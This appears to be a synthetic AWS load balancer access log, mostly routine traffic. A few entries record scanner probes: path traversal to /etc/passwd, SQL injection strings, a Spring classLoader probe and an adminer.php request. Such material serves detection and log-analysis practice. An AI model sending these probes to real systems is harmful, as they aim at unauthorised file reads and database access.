AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d60f-663b379bffba478faa970b60" "staging-alb.example.com" "-" 3 2024-11-01T02:10:07.202674Z "forward" "-" "-" "138.127.99.214:80" "301" "-" "-" -https 2024-11-01T02:10:08.728549Z prod-api-alb 225.23.36.79:14403 10.0.38.58:443 0.092241 0.380839 0.010241 301 301 402 10627 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d610-f72ec1fdf647468ea9c95648" "prod-api-alb.example.com" "-" 7 2024-11-01T02:10:08.728549Z "forward" "-" "-" "10.0.38.58:443" "301" "-" "-" -https 2024-11-01T02:10:10.634941Z staging-alb 62.113.187.146:10594 16.194.224.71:443 0.064975 0.731950 0.081906 200 200 898 10444 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d612-b04d5bc9668e48ca90cd951b" "staging-alb.example.com" "-" 2 2024-11-01T02:10:10.634941Z "forward" "-" "-" "16.194.224.71:443" "200" "-" "-" -https 2024-11-01T02:10:11.928921Z staging-alb 17.100.186.237:31403 87.94.94.57:443 0.085968 0.130639 0.075985 200 200 26 12662 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d613-64e582e8bfa44d0b8923fbc7" "staging-alb.example.com" "-" 6 2024-11-01T02:10:11.928921Z "forward" "-" "-" "87.94.94.57:443" "200" "-" "-" -http 2024-11-01T02:10:13.401238Z staging-alb 19.90.136.46:57021 209.28.72.211:443 0.110090 0.324667 0.013156 200 200 776 13711 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d615-2ddf2f5dbd7348409d312bac" "staging-alb.example.com" "-" 10 2024-11-01T02:10:13.401238Z "forward" "-" "-" "209.28.72.211:443" "200" "-" "-" -https 2024-11-01T02:10:14.285018Z prod-web-alb 207.7.117.10:38085 10.0.72.157:443 0.003092 0.266454 0.003358 200 200 408 14555 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d616-ffa4159ae38c40bcb672f8a6" "prod-web-alb.example.com" "-" 0 2024-11-01T02:10:14.285018Z "forward" "-" "-" "10.0.72.157:443" "200" "-" "-" -https 2024-11-01T02:10:15.766400Z prod-web-alb 199.100.26.33:36725 10.0.64.104:443 0.035213 0.059022 0.098940 302 302 324 6824 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d617-0d8c94bdc5774c1f8ed6004b" "prod-web-alb.example.com" "-" 6 2024-11-01T02:10:15.766400Z "forward" "-" "-" "10.0.64.104:443" "302" "-" "-" -https 2024-11-01T02:10:15.979337Z prod-api-alb 244.8.245.38:64110 10.0.149.203:443 0.066155 0.446137 0.077176 200 200 230 364 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d617-e375a84bd34348feb9f504ae" "prod-api-alb.example.com" "-" 3 2024-11-01T02:10:15.979337Z "forward" "-" "-" "10.0.149.203:443" "200" "-" "-" -https 2024-11-01T02:10:17.674846Z prod-web-alb 196.192.113.164:50395 10.0.131.216:443 0.039331 0.339913 0.008049 404 404 342 5970 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d619-6ff32e68c7b14ef39bf9e0e7" "prod-web-alb.example.com" "-" 3 2024-11-01T02:10:17.674846Z "forward" "-" "-" "10.0.131.216:443" "404" "-" "-" -https 2024-11-01T02:10:19.341887Z prod-api-alb 169.19.126.52:20775 10.0.23.219:443 0.056397 0.184340 0.020875 301 301 261 12941 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d61b-2a2d7fe7d9224dbaac4c8346" "prod-api-alb.example.com" "-" 2 2024-11-01T02:10:19.341887Z "forward" "-" "-" "10.0.23.219:443" "301" "-" "-" -https 2024-11-01T02:10:19.924832Z prod-web-alb 168.44.165.182:18157 10.0.237.119:443 0.040271 0.160287 0.026581 200 200 475 6153 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d61b-6c4af5cbe18a4fa3b89055c4" "prod-web-alb.example.com" "-" 0 2024-11-01T02:10:19.924832Z "forward" "-" "-" "10.0.237.119:443" "200" "-" "-" -http 2024-11-01T02:10:21.368611Z staging-alb 193.27.228.250:10448 239.33.85.207:80 0.076264 0.736415 0.085842 404 404 258 12106 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d61d-9bc1200661754294b87ba0a8" "-" "-" 8 2024-11-01T02:10:21.368611Z "forward" "-" "-" "239.33.85.207:80" "404" "-" "-" -https 2024-11-01T02:10:22.230477Z staging-alb 41.119.122.112:38096 130.138.41.71:80 0.128131 0.207539 0.000793 301 301 602 12529 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d61e-d36930b55159476b95e514bd" "staging-alb.example.com" "-" 10 2024-11-01T02:10:22.230477Z "forward" "-" "-" "130.138.41.71:80" "301" "-" "-" -https 2024-11-01T02:10:24.024255Z staging-alb 66.167.89.145:35397 91.244.81.121:80 0.014384 0.380774 0.049676 200 200 51 3256 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d620-2852d0b34ee2415199b7f186" "staging-alb.example.com" "-" 3 2024-11-01T02:10:24.024255Z "forward" "-" "-" "91.244.81.121:80" "200" "-" "-" -https 2024-11-01T02:10:24.916014Z prod-api-alb 22.33.130.37:42514 10.0.105.63:443 0.018919 0.478578 0.020822 301 301 881 8003 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d620-2ec1644ec6494ab488973c35" "prod-api-alb.example.com" "-" 5 2024-11-01T02:10:24.916014Z "forward" "-" "-" "10.0.105.63:443" "301" "-" "-" -https 2024-11-01T02:10:25.928084Z prod-web-alb 229.31.58.68:55545 10.0.157.46:443 0.054139 0.280364 0.086750 404 404 520 4364 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d621-2c6c79e35364496fa4f16bef" "prod-web-alb.example.com" "-" 4 2024-11-01T02:10:25.928084Z "forward" "-" "-" "10.0.157.46:443" "404" "-" "-" -http 2024-11-01T02:10:27.350629Z staging-alb 105.102.189.73:62194 57.30.173.163:443 0.068483 0.668029 0.041428 200 200 657 6823 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d623-81d5c36e6b274bddaa055ec0" "staging-alb.example.com" "-" 10 2024-11-01T02:10:27.350629Z "forward" "-" "-" "57.30.173.163:443" "200" "-" "-" -https 2024-11-01T02:10:28.454152Z prod-web-alb 118.157.138.224:28813 10.0.161.191:443 0.048681 0.276308 0.066857 200 200 92 5760 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d624-ad4ae24cb596442daa70308b" "-" "-" 5 2024-11-01T02:10:28.454152Z "forward" "-" "-" "10.0.161.191:443" "200" "-" "-" -http 2024-11-01T02:10:28.749167Z staging-alb 241.225.6.73:23213 120.60.90.24:8080 0.031750 0.525586 0.133862 200 200 615 2871 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d624-60ecc26414b0459cb7bbab39" "staging-alb.example.com" "-" 10 2024-11-01T02:10:28.749167Z "forward" "-" "-" "120.60.90.24:8080" "200" "-" "-" -https 2024-11-01T02:10:30.229623Z prod-web-alb 98.244.253.101:21399 10.0.203.199:443 0.041321 0.211518 0.061587 404 404 656 13978 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d626-1f21f6beb0b94b25bfa020cf" "prod-web-alb.example.com" "-" 1 2024-11-01T02:10:30.229623Z "forward" "-" "-" "10.0.203.199:443" "404" "-" "-" -https 2024-11-01T02:10:30.345926Z staging-alb 18.218.216.193:58144 78.138.89.244:8080 0.139948 0.436384 0.128397 404 404 507 8594 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d626-307f6b6e4bd446a48862266d" "staging-alb.example.com" "-" 4 2024-11-01T02:10:30.345926Z "forward" "-" "-" "78.138.89.244:8080" "404" "-" "-" -https 2024-11-01T02:10:31.112663Z prod-api-alb 39.245.178.35:43514 10.0.60.110:443 0.043101 0.334410 0.000196 200 200 639 14831 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d627-474d133c4a1c482d9c9db892" "prod-api-alb.example.com" "-" 1 2024-11-01T02:10:31.112663Z "forward" "-" "-" "10.0.60.110:443" "200" "-" "-" -https 2024-11-01T02:10:32.020507Z prod-api-alb 243.33.23.34:40660 10.0.103.241:443 0.016256 0.375995 0.026705 404 404 222 5059 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d628-d0924a8355f746eb89371414" "prod-api-alb.example.com" "-" 9 2024-11-01T02:10:32.020507Z "forward" "-" "-" "10.0.103.241:443" "404" "-" "-" -https 2024-11-01T02:10:32.699452Z prod-api-alb 188.7.3.139:60402 10.0.140.75:443 0.054021 0.006480 0.035839 200 200 422 11094 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d628-47d1486c3c9c4ba48d738381" "prod-api-alb.example.com" "-" 5 2024-11-01T02:10:32.699452Z "forward" "-" "-" "10.0.140.75:443" "200" "-" "-" -https 2024-11-01T02:10:34.011726Z staging-alb 122.230.205.18:39083 96.255.132.80:443 0.045746 0.304846 0.043649 302 302 230 740 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d62a-b32db40373f34bdb98805946" "staging-alb.example.com" "-" 7 2024-11-01T02:10:34.011726Z "forward" "-" "-" "96.255.132.80:443" "302" "-" "-" -https 2024-11-01T02:10:35.456261Z prod-api-alb 121.41.85.22:51447 10.0.63.153:443 0.094923 0.365500 0.045336 200 200 644 1793 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d62b-9e11ca85550149ab9e1447fa" "prod-api-alb.example.com" "-" 7 2024-11-01T02:10:35.456261Z "forward" "-" "-" "10.0.63.153:443" "200" "-" "-" -https 2024-11-01T02:10:36.550907Z prod-api-alb 132.164.151.167:51930 10.0.86.152:443 0.086737 0.079727 0.031922 200 200 551 9398 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d62c-edc3cd35851d44fca2625b79" "prod-api-alb.example.com" "-" 5 2024-11-01T02:10:36.550907Z "forward" "-" "-" "10.0.86.152:443" "200" "-" "-" -https 2024-11-01T02:10:37.754306Z prod-api-alb 124.178.185.26:27671 10.0.87.129:443 0.047955 0.402639 0.053952 200 200 623 3534 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d62d-1e995f73ddff4974ad4bc46e" "prod-api-alb.example.com" "-" 4 2024-11-01T02:10:37.754306Z "forward" "-" "-" "10.0.87.129:443" "200" "-" "-" -https 2024-11-01T02:10:38.491753Z prod-api-alb 233.251.197.74:51280 10.0.67.96:443 0.016777 0.380059 0.086860 301 301 601 9683 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d62e-fa3e1e8efc914edc88ba1089" "prod-api-alb.example.com" "-" 7 2024-11-01T02:10:38.491753Z "forward" "-" "-" "10.0.67.96:443" "301" "-" "-" -https 2024-11-01T02:10:40.219287Z prod-api-alb 206.38.159.8:61212 10.0.226.26:443 0.052255 0.097653 0.037375 200 200 632 7248 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d630-ba7084266a0748b5a8b47a48" "prod-api-alb.example.com" "-" 3 2024-11-01T02:10:40.219287Z "forward" "-" "-" "10.0.226.26:443" "200" "-" "-" -https 2024-11-01T02:10:41.636016Z staging-alb 176.251.106.168:24289 119.40.66.154:443 0.142774 0.281254 0.127934 301 301 705 6960 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d631-c719aec3278d430ba867e3e1" "staging-alb.example.com" "-" 6 2024-11-01T02:10:41.636016Z "forward" "-" "-" "119.40.66.154:443" "301" "-" "-" -https 2024-11-01T02:10:42.642279Z prod-web-alb 140.116.10.107:27300 10.0.195.39:443 0.050491 0.116911 0.003513 302 302 917 7734 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d632-839f546ba1b14cc99d4938f0" "prod-web-alb.example.com" "-" 6 2024-11-01T02:10:42.642279Z "forward" "-" "-" "10.0.195.39:443" "302" "-" "-" -http 2024-11-01T02:10:44.087915Z staging-alb 16.130.164.168:17979 184.45.124.86:8080 0.029155 0.273539 0.118609 200 200 428 8563 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d634-a5f1ee25cbed4195ace682f5" "staging-alb.example.com" "-" 9 2024-11-01T02:10:44.087915Z "forward" "-" "-" "184.45.124.86:8080" "200" "-" "-" -https 2024-11-01T02:10:45.222298Z prod-api-alb 193.27.228.235:32098 10.0.247.2:443 0.047136 0.296975 0.051467 403 403 367 12496 "GET /../../../etc/passwd HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d635-d43d8ec07fc2457d9ae5665b" "-" "-" 6 2024-11-01T02:10:45.222298Z "forward" "-" "-" "10.0.247.2:443" "403" "-" "-" -https 2024-11-01T02:10:45.994332Z prod-web-alb 172.186.106.94:55601 10.0.176.241:443 0.017846 0.305378 0.091586 200 200 184 13588 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d635-019f8f5270294d46b80827b5" "prod-web-alb.example.com" "-" 2 2024-11-01T02:10:45.994332Z "forward" "-" "-" "10.0.176.241:443" "200" "-" "-" -http 2024-11-01T02:10:47.287904Z staging-alb 193.27.228.29:35516 21.58.142.140:8080 0.088799 0.746662 0.014477 500 500 252 10112 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d637-8d8b2da4e28440168f76138a" "-" "-" 4 2024-11-01T02:10:47.287904Z "forward" "-" "-" "21.58.142.140:8080" "500" "-" "-" -https 2024-11-01T02:10:48.720991Z prod-web-alb 202.25.74.170:59310 10.0.54.133:443 0.009912 0.031704 0.025104 200 200 297 3269 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d638-714dace8f3d34057a5e8af9c" "prod-web-alb.example.com" "-" 7 2024-11-01T02:10:48.720991Z "forward" "-" "-" "10.0.54.133:443" "200" "-" "-" -https 2024-11-01T02:10:49.603944Z prod-api-alb 193.27.228.8:34921 10.0.21.75:443 0.041593 0.259875 0.039936 500 500 375 4123 "POST /login?id=1'-- HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d639-c4e7573757384142ba197d6c" "-" "-" 3 2024-11-01T02:10:49.603944Z "forward" "-" "-" "10.0.21.75:443" "500" "-" "-" -https 2024-11-01T02:10:51.166489Z prod-api-alb 45.155.205.170:63731 10.0.210.29:443 0.049685 0.278711 0.093730 403 403 934 13843 "POST /login?id=1'-- HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d63b-d6516ae4b65541d89bbfb369" "-" "-" 1 2024-11-01T02:10:51.166489Z "forward" "-" "-" "10.0.210.29:443" "403" "-" "-" -https 2024-11-01T02:10:51.882838Z prod-api-alb 118.84.207.246:26962 10.0.199.5:443 0.069999 0.080318 0.027093 200 200 483 12292 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d63b-144a3039472f4b3ea319af7e" "prod-api-alb.example.com" "-" 8 2024-11-01T02:10:51.882838Z "forward" "-" "-" "10.0.199.5:443" "200" "-" "-" -https 2024-11-01T02:10:53.714364Z prod-web-alb 162.175.252.126:59316 10.0.46.239:443 0.083884 0.355468 0.007543 200 200 297 11241 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d63d-c08b690ec1744c17ab0c6cdc" "prod-web-alb.example.com" "-" 9 2024-11-01T02:10:53.714364Z "forward" "-" "-" "10.0.46.239:443" "200" "-" "-" -https 2024-11-01T02:10:54.349194Z prod-api-alb 146.64.255.250:35795 10.0.26.250:443 0.058167 0.082314 0.095033 200 200 928 2244 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d63e-debe3c5bd6784b5eb6ab2b90" "prod-api-alb.example.com" "-" 0 2024-11-01T02:10:54.349194Z "forward" "-" "-" "10.0.26.250:443" "200" "-" "-" -https 2024-11-01T02:10:56.203262Z prod-web-alb 200.127.254.214:21371 10.0.254.141:443 0.043425 0.272766 0.046561 200 200 26 13626 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d640-27b578680a1d4e0287994e56" "prod-web-alb.example.com" "-" 9 2024-11-01T02:10:56.203262Z "forward" "-" "-" "10.0.254.141:443" "200" "-" "-" -https 2024-11-01T02:10:56.703831Z prod-web-alb 144.167.72.191:36407 10.0.81.49:443 0.095853 0.127199 0.044440 200 200 383 9187 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d640-cc7276d043b04d93af0849dc" "prod-web-alb.example.com" "-" 1 2024-11-01T02:10:56.703831Z "forward" "-" "-" "10.0.81.49:443" "200" "-" "-" -https 2024-11-01T02:10:57.118065Z prod-api-alb 70.51.95.177:11270 10.0.19.152:443 0.079647 0.048255 0.057226 200 200 578 5576 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d641-cedc08f07d7b443fb963c159" "prod-api-alb.example.com" "-" 4 2024-11-01T02:10:57.118065Z "forward" "-" "-" "10.0.19.152:443" "200" "-" "-" -https 2024-11-01T02:10:57.271613Z prod-web-alb 185.181.15.100:57705 10.0.109.191:443 0.082533 0.345362 0.085571 403 403 791 12382 "GET /adminer.php HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d641-edf8afc13b42468e84f1b363" "-" "-" 5 2024-11-01T02:10:57.271613Z "forward" "-" "-" "10.0.109.191:443" "403" "-" "-" -https 2024-11-01T02:10:57.662857Z prod-web-alb 166.26.116.246:25560 10.0.123.128:443 0.088048 0.130111 0.033248 301 301 380 9868 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d641-664b1327b26e4b7388d6cd89" "prod-web-alb.example.com" "-" 6 2024-11-01T02:10:57.662857Z "forward" "-" "-" "10.0.123.128:443" "301" "-" "-" -http 2024-11-01T02:10:59.369743Z staging-alb 247.50.71.163:51872 67.32.159.205:8080 0.009749 0.488279 0.078822 301 301 644 14619 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d643-359a8f4519044cd0a3f7384b" "staging-alb.example.com" "-" 4 2024-11-01T02:10:59.369743Z "forward" "-" "-" "67.32.159.205:8080" 